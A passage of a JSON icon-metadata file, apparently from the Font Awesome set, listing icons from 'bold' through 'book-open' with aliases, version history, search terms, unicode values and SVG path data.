      "6.4.0"
    ],
    "ligatures": [],
    "search": {
      "terms": ["emphasis", "format", "text"]
    },
    "styles": ["solid"],
    "unicode": "f032",
    "label": "Bold",
    "voted": false,
    "svg": {
      "solid": {
        "last_modified": 1684767246,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 384 512\"><path d=\"M0 64C0 46.3 14.3 32 32 32H80 96 224c70.7 0 128 57.3 128 128c0 31.3-11.3 60.1-30 82.3c37.1 22.4 62 63.1 62 109.7c0 70.7-57.3 128-128 128H96 80 32c-17.7 0-32-14.3-32-32s14.3-32 32-32H48V256 96H32C14.3 96 0 81.7 0 64zM224 224c35.3 0 64-28.7 64-64s-28.7-64-64-64H112V224H224zM112 288V416H256c35.3 0 64-28.7 64-64s-28.7-64-64-64H224 112z\"/></svg>",
        "viewBox": [0, 0, 384, 512],
        "width": 384,
        "height": 512,
        "path": "M0 64C0 46.3 14.3 32 32 32H80 96 224c70.7 0 128 57.3 128 128c0 31.3-11.3 60.1-30 82.3c37.1 22.4 62 63.1 62 109.7c0 70.7-57.3 128-128 128H96 80 32c-17.7 0-32-14.3-32-32s14.3-32 32-32H48V256 96H32C14.3 96 0 81.7 0 64zM224 224c35.3 0 64-28.7 64-64s-28.7-64-64-64H112V224H224zM112 288V416H256c35.3 0 64-28.7 64-64s-28.7-64-64-64H224 112z"
      }
    },
    "free": ["solid"]
  },
  "bolt": {
    "aliases": {
      "names": ["zap"],
      "unicodes": {
        "composite": ["26a1"],
        "secondary": ["10f0e7"]
      }
    },
    "changes": [
      "2.0.0",
      "5.0.0",
      "5.5.0",
      "6.0.0-beta1",
      "6.0.0",
      "6.2.0",
      "6.3.0",
      "6.4.0"
    ],
    "ligatures": [],
    "search": {
      "terms": [
        "charge",
        "danger",
        "electric",
        "electricity",
        "flash",
        "high voltage",
        "lightning",
        "voltage",
        "weather",
        "zap"
      ]
    },
    "styles": ["solid"],
    "unicode": "f0e7",
    "label": "Bolt",
    "voted": false,
    "svg": {
      "solid": {
        "last_modified": 1684767367,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 448 512\"><path d=\"M349.4 44.6c5.9-13.7 1.5-29.7-10.6-38.5s-28.6-8-39.9 1.8l-256 224c-10 8.8-13.6 22.9-8.9 35.3S50.7 288 64 288H175.5L98.6 467.4c-5.9 13.7-1.5 29.7 10.6 38.5s28.6 8 39.9-1.8l256-224c10-8.8 13.6-22.9 8.9-35.3s-16.6-20.7-30-20.7H272.5L349.4 44.6z\"/></svg>",
        "viewBox": [0, 0, 448, 512],
        "width": 448,
        "height": 512,
        "path": "M349.4 44.6c5.9-13.7 1.5-29.7-10.6-38.5s-28.6-8-39.9 1.8l-256 224c-10 8.8-13.6 22.9-8.9 35.3S50.7 288 64 288H175.5L98.6 467.4c-5.9 13.7-1.5 29.7 10.6 38.5s28.6 8 39.9-1.8l256-224c10-8.8 13.6-22.9 8.9-35.3s-16.6-20.7-30-20.7H272.5L349.4 44.6z"
      }
    },
    "free": ["solid"]
  },
  "bolt-lightning": {
    "changes": ["6.0.0-beta1", "6.2.0", "6.3.0", "6.4.0"],
    "ligatures": [],
    "search": {
      "terms": ["electricity", "flash", "lightning", "weather", "zap"]
    },
    "styles": ["solid"],
    "unicode": "e0b7",
    "label": "Bolt Lightning",
    "voted": false,
    "svg": {
      "solid": {
        "last_modified": 1684767662,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 384 512\"><path d=\"M0 256L28.5 28c2-16 15.6-28 31.8-28H228.9c15 0 27.1 12.1 27.1 27.1c0 3.2-.6 6.5-1.7 9.5L208 160H347.3c20.2 0 36.7 16.4 36.7 36.7c0 7.4-2.2 14.6-6.4 20.7l-192.2 281c-5.9 8.6-15.6 13.7-25.9 13.7h-2.9c-15.7 0-28.5-12.8-28.5-28.5c0-2.3 .3-4.6 .9-6.9L176 288H32c-17.7 0-32-14.3-32-32z\"/></svg>",
        "viewBox": [0, 0, 384, 512],
        "width": 384,
        "height": 512,
        "path": "M0 256L28.5 28c2-16 15.6-28 31.8-28H228.9c15 0 27.1 12.1 27.1 27.1c0 3.2-.6 6.5-1.7 9.5L208 160H347.3c20.2 0 36.7 16.4 36.7 36.7c0 7.4-2.2 14.6-6.4 20.7l-192.2 281c-5.9 8.6-15.6 13.7-25.9 13.7h-2.9c-15.7 0-28.5-12.8-28.5-28.5c0-2.3 .3-4.6 .9-6.9L176 288H32c-17.7 0-32-14.3-32-32z"
      }
    },
    "free": ["solid"]
  },
  "bomb": {
    "aliases": {
      "unicodes": {
        "composite": ["1f4a3"],
        "secondary": ["10f1e2"]
      }
    },
    "changes": [
      "4.1.0",
      "5.0.0",
      "6.0.0-beta1",
      "6.0.0",
      "6.1.2",
      "6.2.0",
      "6.3.0",
      "6.4.0"
    ],
    "ligatures": [],
    "search": {
      "terms": [
        "bomb",
        "comic",
        "error",
        "explode",
        "fuse",
        "grenade",
        "warning"
      ]
    },
    "styles": ["solid"],
    "unicode": "f1e2",
    "label": "Bomb",
    "voted": false,
    "svg": {
      "solid": {
        "last_modified": 1684767367,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 512 512\"><path d=\"M459.1 52.4L442.6 6.5C440.7 2.6 436.5 0 432.1 0s-8.5 2.6-10.4 6.5L405.2 52.4l-46 16.8c-4.3 1.6-7.3 5.9-7.2 10.4c0 4.5 3 8.7 7.2 10.2l45.7 16.8 16.8 45.8c1.5 4.4 5.8 7.5 10.4 7.5s8.9-3.1 10.4-7.5l16.5-45.8 45.7-16.8c4.2-1.5 7.2-5.7 7.2-10.2c0-4.6-3-8.9-7.2-10.4L459.1 52.4zm-132.4 53c-12.5-12.5-32.8-12.5-45.3 0l-2.9 2.9C256.5 100.3 232.7 96 208 96C93.1 96 0 189.1 0 304S93.1 512 208 512s208-93.1 208-208c0-24.7-4.3-48.5-12.2-70.5l2.9-2.9c12.5-12.5 12.5-32.8 0-45.3l-80-80zM200 192c-57.4 0-104 46.6-104 104v8c0 8.8-7.2 16-16 16s-16-7.2-16-16v-8c0-75.1 60.9-136 136-136h8c8.8 0 16 7.2 16 16s-7.2 16-16 16h-8z\"/></svg>",
        "viewBox": [0, 0, 512, 512],
        "width": 512,
        "height": 512,
        "path": "M459.1 52.4L442.6 6.5C440.7 2.6 436.5 0 432.1 0s-8.5 2.6-10.4 6.5L405.2 52.4l-46 16.8c-4.3 1.6-7.3 5.9-7.2 10.4c0 4.5 3 8.7 7.2 10.2l45.7 16.8 16.8 45.8c1.5 4.4 5.8 7.5 10.4 7.5s8.9-3.1 10.4-7.5l16.5-45.8 45.7-16.8c4.2-1.5 7.2-5.7 7.2-10.2c0-4.6-3-8.9-7.2-10.4L459.1 52.4zm-132.4 53c-12.5-12.5-32.8-12.5-45.3 0l-2.9 2.9C256.5 100.3 232.7 96 208 96C93.1 96 0 189.1 0 304S93.1 512 208 512s208-93.1 208-208c0-24.7-4.3-48.5-12.2-70.5l2.9-2.9c12.5-12.5 12.5-32.8 0-45.3l-80-80zM200 192c-57.4 0-104 46.6-104 104v8c0 8.8-7.2 16-16 16s-16-7.2-16-16v-8c0-75.1 60.9-136 136-136h8c8.8 0 16 7.2 16 16s-7.2 16-16 16h-8z"
      }
    },
    "free": ["solid"]
  },
  "bone": {
    "aliases": {
      "unicodes": {
        "composite": ["1f9b4"],
        "secondary": ["10f5d7"]
      }
    },
    "changes": ["5.2.0", "6.0.0-beta1", "6.2.0", "6.3.0", "6.4.0"],
    "ligatures": [],
    "search": {
      "terms": ["bone", "calcium", "dog", "skeletal", "skeleton", "tibia"]
    },
    "styles": ["solid"],
    "unicode": "f5d7",
    "label": "Bone",
    "voted": false,
    "svg": {
      "solid": {
        "last_modified": 1684766749,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 576 512\"><path d=\"M153.7 144.8c6.9 16.3 20.6 31.2 38.3 31.2H384c17.7 0 31.4-14.9 38.3-31.2C434.4 116.1 462.9 96 496 96c44.2 0 80 35.8 80 80c0 30.4-17 56.9-42 70.4c-3.6 1.9-6 5.5-6 9.6s2.4 7.7 6 9.6c25 13.5 42 40 42 70.4c0 44.2-35.8 80-80 80c-33.1 0-61.6-20.1-73.7-48.8C415.4 350.9 401.7 336 384 336H192c-17.7 0-31.4 14.9-38.3 31.2C141.6 395.9 113.1 416 80 416c-44.2 0-80-35.8-80-80c0-30.4 17-56.9 42-70.4c3.6-1.9 6-5.5 6-9.6s-2.4-7.7-6-9.6C17 232.9 0 206.4 0 176c0-44.2 35.8-80 80-80c33.1 0 61.6 20.1 73.7 48.8z\"/></svg>",
        "viewBox": [0, 0, 576, 512],
        "width": 576,
        "height": 512,
        "path": "M153.7 144.8c6.9 16.3 20.6 31.2 38.3 31.2H384c17.7 0 31.4-14.9 38.3-31.2C434.4 116.1 462.9 96 496 96c44.2 0 80 35.8 80 80c0 30.4-17 56.9-42 70.4c-3.6 1.9-6 5.5-6 9.6s2.4 7.7 6 9.6c25 13.5 42 40 42 70.4c0 44.2-35.8 80-80 80c-33.1 0-61.6-20.1-73.7-48.8C415.4 350.9 401.7 336 384 336H192c-17.7 0-31.4 14.9-38.3 31.2C141.6 395.9 113.1 416 80 416c-44.2 0-80-35.8-80-80c0-30.4 17-56.9 42-70.4c3.6-1.9 6-5.5 6-9.6s-2.4-7.7-6-9.6C17 232.9 0 206.4 0 176c0-44.2 35.8-80 80-80c33.1 0 61.6 20.1 73.7 48.8z"
      }
    },
    "free": ["solid"]
  },
  "bong": {
    "aliases": {
      "unicodes": {
        "secondary": ["10f55c"]
      }
    },
    "changes": ["5.1.0", "6.0.0-beta1", "6.2.0", "6.3.0", "6.4.0"],
    "ligatures": [],
    "search": {
      "terms": ["aparatus", "cannabis", "marijuana", "pipe", "smoke", "smoking"]
    },
    "styles": ["solid"],
    "unicode": "f55c",
    "label": "Bong",
    "voted": false,
    "svg": {
      "solid": {
        "last_modified": 1684766751,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 448 512\"><path d=\"M160 208.5c0 29.1-15.6 53.9-37.2 67.8c-17.2 11.1-31.5 26.1-41.7 43.7H302.9c-10.2-17.6-24.5-32.6-41.7-43.7c-21.6-13.9-37.2-38.7-37.2-67.8V64H160V208.5zM288 64V208.5c0 5.7 3.1 10.9 7.9 14c11.2 7.2 21.5 15.5 30.9 24.8L366.1 208l-7-7c-9.4-9.4-9.4-24.6 0-33.9s24.6-9.4 33.9 0l24 24 24 24c9.4 9.4 9.4 24.6 0 33.9s-24.6 9.4-33.9 0l-7-7-43.3 43.3C374 314.1 384 347.9 384 384c0 39.4-11.9 76.1-32.2 106.5c-9.6 14.4-26.5 21.5-43.8 21.5H76.1c-17.3 0-34.2-7.1-43.8-21.5C11.9 460.1 0 423.4 0 384c0-67.8 35.1-127.3 88.1-161.5c4.8-3.1 7.9-8.3 7.9-14V64C78.3 64 64 49.7 64 32S78.3 0 96 0h16H272h16c17.7 0 32 14.3 32 32s-14.3 32-32 32z\"/></svg>",
        "viewBox": [0, 0, 448, 512],
        "width": 448,
        "height": 512,
        "path": "M160 208.5c0 29.1-15.6 53.9-37.2 67.8c-17.2 11.1-31.5 26.1-41.7 43.7H302.9c-10.2-17.6-24.5-32.6-41.7-43.7c-21.6-13.9-37.2-38.7-37.2-67.8V64H160V208.5zM288 64V208.5c0 5.7 3.1 10.9 7.9 14c11.2 7.2 21.5 15.5 30.9 24.8L366.1 208l-7-7c-9.4-9.4-9.4-24.6 0-33.9s24.6-9.4 33.9 0l24 24 24 24c9.4 9.4 9.4 24.6 0 33.9s-24.6 9.4-33.9 0l-7-7-43.3 43.3C374 314.1 384 347.9 384 384c0 39.4-11.9 76.1-32.2 106.5c-9.6 14.4-26.5 21.5-43.8 21.5H76.1c-17.3 0-34.2-7.1-43.8-21.5C11.9 460.1 0 423.4 0 384c0-67.8 35.1-127.3 88.1-161.5c4.8-3.1 7.9-8.3 7.9-14V64C78.3 64 64 49.7 64 32S78.3 0 96 0h16H272h16c17.7 0 32 14.3 32 32s-14.3 32-32 32z"
      }
    },
    "free": ["solid"]
  },
  "book": {
    "aliases": {
      "unicodes": {
        "composite": ["1f4d4"],
        "secondary": ["10f02d"]
      }
    },
    "changes": ["1.0.0", "5.0.0", "6.0.0-beta1", "6.2.0", "6.3.0", "6.4.0"],
    "ligatures": [],
    "search": {
      "terms": [
        "book",
        "cover",
        "decorated",
        "diary",
        "documentation",
        "journal",
        "library",
        "notebook",
        "notebook with decorative cover",
        "read",
        "research"
      ]
    },
    "styles": ["solid"],
    "unicode": "f02d",
    "label": "Book",
    "voted": false,
    "svg": {
      "solid": {
        "last_modified": 1684767389,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 448 512\"><path d=\"M96 0C43 0 0 43 0 96V416c0 53 43 96 96 96H384h32c17.7 0 32-14.3 32-32s-14.3-32-32-32V384c17.7 0 32-14.3 32-32V32c0-17.7-14.3-32-32-32H384 96zm0 384H352v64H96c-17.7 0-32-14.3-32-32s14.3-32 32-32zm32-240c0-8.8 7.2-16 16-16H336c8.8 0 16 7.2 16 16s-7.2 16-16 16H144c-8.8 0-16-7.2-16-16zm16 48H336c8.8 0 16 7.2 16 16s-7.2 16-16 16H144c-8.8 0-16-7.2-16-16s7.2-16 16-16z\"/></svg>",
        "viewBox": [0, 0, 448, 512],
        "width": 448,
        "height": 512,
        "path": "M96 0C43 0 0 43 0 96V416c0 53 43 96 96 96H384h32c17.7 0 32-14.3 32-32s-14.3-32-32-32V384c17.7 0 32-14.3 32-32V32c0-17.7-14.3-32-32-32H384 96zm0 384H352v64H96c-17.7 0-32-14.3-32-32s14.3-32 32-32zm32-240c0-8.8 7.2-16 16-16H336c8.8 0 16 7.2 16 16s-7.2 16-16 16H144c-8.8 0-16-7.2-16-16zm16 48H336c8.8 0 16 7.2 16 16s-7.2 16-16 16H144c-8.8 0-16-7.2-16-16s7.2-16 16-16z"
      }
    },
    "free": ["solid"]
  },
  "book-atlas": {
    "aliases": {
      "names": ["atlas"],
      "unicodes": {
        "secondary": ["10f558"]
      }
    },
    "changes": ["5.1.0", "6.0.0-beta1", "6.2.0", "6.3.0", "6.4.0"],
    "ligatures": [],
    "search": {
      "terms": [
        "book",
        "directions",
        "geography",
        "globe",
        "library",
        "map",
        "research",
        "travel",
        "wayfinding"
      ]
    },
    "styles": ["solid"],
    "unicode": "f558",
    "label": "Book Atlas",
    "voted": false,
    "svg": {
      "solid": {
        "last_modified": 1684767391,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 448 512\"><path d=\"M0 96C0 43 43 0 96 0H384h32c17.7 0 32 14.3 32 32V352c0 17.7-14.3 32-32 32v64c17.7 0 32 14.3 32 32s-14.3 32-32 32H384 96c-53 0-96-43-96-96V96zM64 416c0 17.7 14.3 32 32 32H352V384H96c-17.7 0-32 14.3-32 32zM247.4 283.8c-3.7 3.7-6.2 4.2-7.4 4.2s-3.7-.5-7.4-4.2c-3.8-3.7-8-10-11.8-18.9c-6.2-14.5-10.8-34.3-12.2-56.9h63c-1.5 22.6-6 42.4-12.2 56.9c-3.8 8.9-8 15.2-11.8 18.9zm42.7-9.9c7.3-18.3 12-41.1 13.4-65.9h31.1c-4.7 27.9-21.4 51.7-44.5 65.9zm0-163.8c23.2 14.2 39.9 38 44.5 65.9H303.5c-1.4-24.7-6.1-47.5-13.4-65.9zM368 192a128 128 0 1 0 -256 0 128 128 0 1 0 256 0zM145.3 208h31.1c1.4 24.7 6.1 47.5 13.4 65.9c-23.2-14.2-39.9-38-44.5-65.9zm31.1-32H145.3c4.7-27.9 21.4-51.7 44.5-65.9c-7.3 18.3-12 41.1-13.4 65.9zm56.1-75.8c3.7-3.7 6.2-4.2 7.4-4.2s3.7 .5 7.4 4.2c3.8 3.7 8 10 11.8 18.9c6.2 14.5 10.8 34.3 12.2 56.9h-63c1.5-22.6 6-42.4 12.2-56.9c3.8-8.9 8-15.2 11.8-18.9z\"/></svg>",
        "viewBox": [0, 0, 448, 512],
        "width": 448,
        "height": 512,
        "path": "M0 96C0 43 43 0 96 0H384h32c17.7 0 32 14.3 32 32V352c0 17.7-14.3 32-32 32v64c17.7 0 32 14.3 32 32s-14.3 32-32 32H384 96c-53 0-96-43-96-96V96zM64 416c0 17.7 14.3 32 32 32H352V384H96c-17.7 0-32 14.3-32 32zM247.4 283.8c-3.7 3.7-6.2 4.2-7.4 4.2s-3.7-.5-7.4-4.2c-3.8-3.7-8-10-11.8-18.9c-6.2-14.5-10.8-34.3-12.2-56.9h63c-1.5 22.6-6 42.4-12.2 56.9c-3.8 8.9-8 15.2-11.8 18.9zm42.7-9.9c7.3-18.3 12-41.1 13.4-65.9h31.1c-4.7 27.9-21.4 51.7-44.5 65.9zm0-163.8c23.2 14.2 39.9 38 44.5 65.9H303.5c-1.4-24.7-6.1-47.5-13.4-65.9zM368 192a128 128 0 1 0 -256 0 128 128 0 1 0 256 0zM145.3 208h31.1c1.4 24.7 6.1 47.5 13.4 65.9c-23.2-14.2-39.9-38-44.5-65.9zm31.1-32H145.3c4.7-27.9 21.4-51.7 44.5-65.9c-7.3 18.3-12 41.1-13.4 65.9zm56.1-75.8c3.7-3.7 6.2-4.2 7.4-4.2s3.7 .5 7.4 4.2c3.8 3.7 8 10 11.8 18.9c6.2 14.5 10.8 34.3 12.2 56.9h-63c1.5-22.6 6-42.4 12.2-56.9c3.8-8.9 8-15.2 11.8-18.9z"
      }
    },
    "free": ["solid"]
  },
  "book-bible": {
    "aliases": {
      "names": ["bible"],
      "unicodes": {
        "secondary": ["10f647"]
      }
    },
    "changes": ["5.3.0", "6.0.0-beta1", "6.2.0", "6.3.0", "6.4.0"],
    "ligatures": [],
    "search": {
      "terms": ["book", "catholicism", "christianity", "god", "holy"]
    },
    "styles": ["solid"],
    "unicode": "f647",
    "label": "Book Bible",
    "voted": false,
    "svg": {
      "solid": {
        "last_modified": 1684767391,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 448 512\"><path d=\"M96 0C43 0 0 43 0 96V416c0 53 43 96 96 96H384h32c17.7 0 32-14.3 32-32s-14.3-32-32-32V384c17.7 0 32-14.3 32-32V32c0-17.7-14.3-32-32-32H384 96zm0 384H352v64H96c-17.7 0-32-14.3-32-32s14.3-32 32-32zM208 80c0-8.8 7.2-16 16-16h32c8.8 0 16 7.2 16 16v48h48c8.8 0 16 7.2 16 16v32c0 8.8-7.2 16-16 16H272V304c0 8.8-7.2 16-16 16H224c-8.8 0-16-7.2-16-16V192H160c-8.8 0-16-7.2-16-16V144c0-8.8 7.2-16 16-16h48V80z\"/></svg>",
        "viewBox": [0, 0, 448, 512],
        "width": 448,
        "height": 512,
        "path": "M96 0C43 0 0 43 0 96V416c0 53 43 96 96 96H384h32c17.7 0 32-14.3 32-32s-14.3-32-32-32V384c17.7 0 32-14.3 32-32V32c0-17.7-14.3-32-32-32H384 96zm0 384H352v64H96c-17.7 0-32-14.3-32-32s14.3-32 32-32zM208 80c0-8.8 7.2-16 16-16h32c8.8 0 16 7.2 16 16v48h48c8.8 0 16 7.2 16 16v32c0 8.8-7.2 16-16 16H272V304c0 8.8-7.2 16-16 16H224c-8.8 0-16-7.2-16-16V192H160c-8.8 0-16-7.2-16-16V144c0-8.8 7.2-16 16-16h48V80z"
      }
    },
    "free": ["solid"]
  },
  "book-bookmark": {
    "changes": ["6.0.0-beta1", "6.1.0", "6.2.0", "6.3.0", "6.4.0"],
    "ligatures": [],
    "search": {
      "terms": ["library", "research"]
    },
    "styles": ["solid"],
    "unicode": "e0bb",
    "label": "Book Bookmark",
    "voted": false,
    "svg": {
      "solid": {
        "last_modified": 1684767391,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 448 512\"><path d=\"M0 96C0 43 43 0 96 0h96V190.7c0 13.4 15.5 20.9 26 12.5L272 160l54 43.2c10.5 8.4 26 .9 26-12.5V0h32 32c17.7 0 32 14.3 32 32V352c0 17.7-14.3 32-32 32v64c17.7 0 32 14.3 32 32s-14.3 32-32 32H384 96c-53 0-96-43-96-96V96zM64 416c0 17.7 14.3 32 32 32H352V384H96c-17.7 0-32 14.3-32 32z\"/></svg>",
        "viewBox": [0, 0, 448, 512],
        "width": 448,
        "height": 512,
        "path": "M0 96C0 43 43 0 96 0h96V190.7c0 13.4 15.5 20.9 26 12.5L272 160l54 43.2c10.5 8.4 26 .9 26-12.5V0h32 32c17.7 0 32 14.3 32 32V352c0 17.7-14.3 32-32 32v64c17.7 0 32 14.3 32 32s-14.3 32-32 32H384 96c-53 0-96-43-96-96V96zM64 416c0 17.7 14.3 32 32 32H352V384H96c-17.7 0-32 14.3-32 32z"
      }
    },
    "free": ["solid"]
  },
  "book-journal-whills": {
    "aliases": {
      "names": ["journal-whills"],
      "unicodes": {
        "secondary": ["10f66a"]
      }
    },
    "changes": ["5.3.0", "5.11.0", "6.0.0-beta1", "6.2.0", "6.3.0", "6.4.0"],
    "ligatures": [],
    "search": {
      "terms": ["book", "force", "jedi", "sith", "star wars", "yoda"]
    },
    "styles": ["solid"],
    "unicode": "f66a",
    "label": "Book Journal Whills",
    "voted": false,
    "svg": {
      "solid": {
        "last_modified": 1684767389,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 448 512\"><path d=\"M0 96C0 43 43 0 96 0H384h32c17.7 0 32 14.3 32 32V352c0 17.7-14.3 32-32 32v64c17.7 0 32 14.3 32 32s-14.3 32-32 32H384 96c-53 0-96-43-96-96V96zM64 416c0 17.7 14.3 32 32 32H352V384H96c-17.7 0-32 14.3-32 32zm90.4-234.4l-21.2-21.2c-3 10.1-5.1 20.6-5.1 31.6c0 .2 0 .5 .1 .8s.1 .5 .1 .8L165.2 226c2.5 2.1 3.4 5.8 2.3 8.9c-1.3 3-4.1 5.1-7.5 5.1c-1.9-.1-3.8-.8-5.2-2l-23.6-20.6C142.8 267 186.9 304 240 304s97.3-37 108.9-86.6L325.3 238c-1.4 1.2-3.3 2-5.3 2c-2.2-.1-4.4-1.1-6-2.8c-1.2-1.5-1.9-3.4-2-5.2c.1-2.2 1.1-4.4 2.8-6l37.1-32.5c0-.3 0-.5 .1-.8s.1-.5 .1-.8c0-11-2.1-21.5-5.1-31.6l-21.2 21.2c-3.1 3.1-8.1 3.1-11.3 0s-3.1-8.1 0-11.2l26.4-26.5c-8.2-17-20.5-31.7-35.9-42.6c-2.7-1.9-6.2 1.4-5 4.5c8.5 22.4 3.6 48-13 65.6c-3.2 3.4-3.6 8.9-.9 12.7c9.8 14 12.7 31.9 7.5 48.5c-5.9 19.4-22 34.1-41.9 38.3l-1.4-34.3 12.6 8.6c.6 .4 1.5 .6 2.3 .6c1.5 0 2.7-.8 3.5-2s.6-2.8-.1-4L260 225.4l18-3.6c1.8-.4 3.1-2.1 3.1-4s-1.4-3.5-3.1-3.9l-18-3.7 8.5-14.3c.8-1.2 .9-2.9 .1-4.1s-2-2-3.5-2l-.1 0c-.7 .1-1.5 .3-2.1 .7l-14.1 9.6L244 87.9c-.1-2.2-1.9-3.9-4-3.9s-3.9 1.6-4 3.9l-4.6 110.8-12-8.1c-1.5-1.1-3.6-.9-5 .4s-1.6 3.4-.8 5l8.6 14.3-18 3.7c-1.8 .4-3.1 2-3.1 3.9s1.4 3.6 3.1 4l18 3.8-8.6 14.2c-.2 .6-.5 1.4-.5 2c0 1.1 .5 2.1 1.2 3c.8 .6 1.8 1 2.8 1c.7 0 1.6-.2 2.2-.6l10.4-7.1-1.4 32.8c-19.9-4.1-36-18.9-41.9-38.3c-5.1-16.6-2.2-34.4 7.6-48.5c2.7-3.9 2.3-9.3-.9-12.7c-16.6-17.5-21.6-43.1-13.1-65.5c1.2-3.1-2.3-6.4-5-4.5c-15.3 10.9-27.6 25.6-35.8 42.6l26.4 26.5c3.1 3.1 3.1 8.1 0 11.2s-8.1 3.1-11.2 0z\"/></svg>",
        "viewBox": [0, 0, 448, 512],
        "width": 448,
        "height": 512,
        "path": "M0 96C0 43 43 0 96 0H384h32c17.7 0 32 14.3 32 32V352c0 17.7-14.3 32-32 32v64c17.7 0 32 14.3 32 32s-14.3 32-32 32H384 96c-53 0-96-43-96-96V96zM64 416c0 17.7 14.3 32 32 32H352V384H96c-17.7 0-32 14.3-32 32zm90.4-234.4l-21.2-21.2c-3 10.1-5.1 20.6-5.1 31.6c0 .2 0 .5 .1 .8s.1 .5 .1 .8L165.2 226c2.5 2.1 3.4 5.8 2.3 8.9c-1.3 3-4.1 5.1-7.5 5.1c-1.9-.1-3.8-.8-5.2-2l-23.6-20.6C142.8 267 186.9 304 240 304s97.3-37 108.9-86.6L325.3 238c-1.4 1.2-3.3 2-5.3 2c-2.2-.1-4.4-1.1-6-2.8c-1.2-1.5-1.9-3.4-2-5.2c.1-2.2 1.1-4.4 2.8-6l37.1-32.5c0-.3 0-.5 .1-.8s.1-.5 .1-.8c0-11-2.1-21.5-5.1-31.6l-21.2 21.2c-3.1 3.1-8.1 3.1-11.3 0s-3.1-8.1 0-11.2l26.4-26.5c-8.2-17-20.5-31.7-35.9-42.6c-2.7-1.9-6.2 1.4-5 4.5c8.5 22.4 3.6 48-13 65.6c-3.2 3.4-3.6 8.9-.9 12.7c9.8 14 12.7 31.9 7.5 48.5c-5.9 19.4-22 34.1-41.9 38.3l-1.4-34.3 12.6 8.6c.6 .4 1.5 .6 2.3 .6c1.5 0 2.7-.8 3.5-2s.6-2.8-.1-4L260 225.4l18-3.6c1.8-.4 3.1-2.1 3.1-4s-1.4-3.5-3.1-3.9l-18-3.7 8.5-14.3c.8-1.2 .9-2.9 .1-4.1s-2-2-3.5-2l-.1 0c-.7 .1-1.5 .3-2.1 .7l-14.1 9.6L244 87.9c-.1-2.2-1.9-3.9-4-3.9s-3.9 1.6-4 3.9l-4.6 110.8-12-8.1c-1.5-1.1-3.6-.9-5 .4s-1.6 3.4-.8 5l8.6 14.3-18 3.7c-1.8 .4-3.1 2-3.1 3.9s1.4 3.6 3.1 4l18 3.8-8.6 14.2c-.2 .6-.5 1.4-.5 2c0 1.1 .5 2.1 1.2 3c.8 .6 1.8 1 2.8 1c.7 0 1.6-.2 2.2-.6l10.4-7.1-1.4 32.8c-19.9-4.1-36-18.9-41.9-38.3c-5.1-16.6-2.2-34.4 7.6-48.5c2.7-3.9 2.3-9.3-.9-12.7c-16.6-17.5-21.6-43.1-13.1-65.5c1.2-3.1-2.3-6.4-5-4.5c-15.3 10.9-27.6 25.6-35.8 42.6l26.4 26.5c3.1 3.1 3.1 8.1 0 11.2s-8.1 3.1-11.2 0z"
      }
    },
    "free": ["solid"]
  },
  "book-medical": {
    "aliases": {
      "unicodes": {
        "secondary": ["10f7e6"]
      }
    },
    "changes": ["5.7.0", "6.0.0-beta1", "6.2.0", "6.3.0", "6.4.0"],
    "ligatures": [],
    "search": {
      "terms": [
        "diary",
        "documentation",
        "health",
        "history",
        "journal",
        "library",
        "read",
        "record",
        "research"
      ]
    },
    "styles": ["solid"],
    "unicode": "f7e6",
    "label": "Book Medical",
    "voted": false,
    "svg": {
      "solid": {
        "last_modified": 1684767391,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 448 512\"><path d=\"M0 96C0 43 43 0 96 0H384h32c17.7 0 32 14.3 32 32V352c0 17.7-14.3 32-32 32v64c17.7 0 32 14.3 32 32s-14.3 32-32 32H384 96c-53 0-96-43-96-96V96zM64 416c0 17.7 14.3 32 32 32H352V384H96c-17.7 0-32 14.3-32 32zM208 112v48H160c-8.8 0-16 7.2-16 16v32c0 8.8 7.2 16 16 16h48v48c0 8.8 7.2 16 16 16h32c8.8 0 16-7.2 16-16V224h48c8.8 0 16-7.2 16-16V176c0-8.8-7.2-16-16-16H272V112c0-8.8-7.2-16-16-16H224c-8.8 0-16 7.2-16 16z\"/></svg>",
        "viewBox": [0, 0, 448, 512],
        "width": 448,
        "height": 512,
        "path": "M0 96C0 43 43 0 96 0H384h32c17.7 0 32 14.3 32 32V352c0 17.7-14.3 32-32 32v64c17.7 0 32 14.3 32 32s-14.3 32-32 32H384 96c-53 0-96-43-96-96V96zM64 416c0 17.7 14.3 32 32 32H352V384H96c-17.7 0-32 14.3-32 32zM208 112v48H160c-8.8 0-16 7.2-16 16v32c0 8.8 7.2 16 16 16h48v48c0 8.8 7.2 16 16 16h32c8.8 0 16-7.2 16-16V224h48c8.8 0 16-7.2 16-16V176c0-8.8-7.2-16-16-16H272V112c0-8.8-7.2-16-16-16H224c-8.8 0-16 7.2-16 16z"
      }
    },
    "free": ["solid"]
  },
  "book-open": {
    "aliases": {
      "unicodes": {
        "composite": ["1f4d6", "1f56e"],
        "secondary": ["10f518"]
      }
    },
    "changes": [
      "5.0.13",
      "5.1.0",
      "5.2.0",
      "6.0.0-beta1",
      "6.2.0",
      "6.3.0",
      "6.4.0"
    ],
    "ligatures": [],
    "search": {
      "terms": [
        "Book",
        "book",
        "flyer",
        "library",
        "notebook",
        "open",
        "open book",
        "pamphlet",
        "reading",
        "research"
      ]
    },
    "styles": ["solid"],
    "unicode": "f518",
    "label": "Book Open",
    "voted": true,
    "svg": {
      "solid": {
        "last_modified": 1684767389,
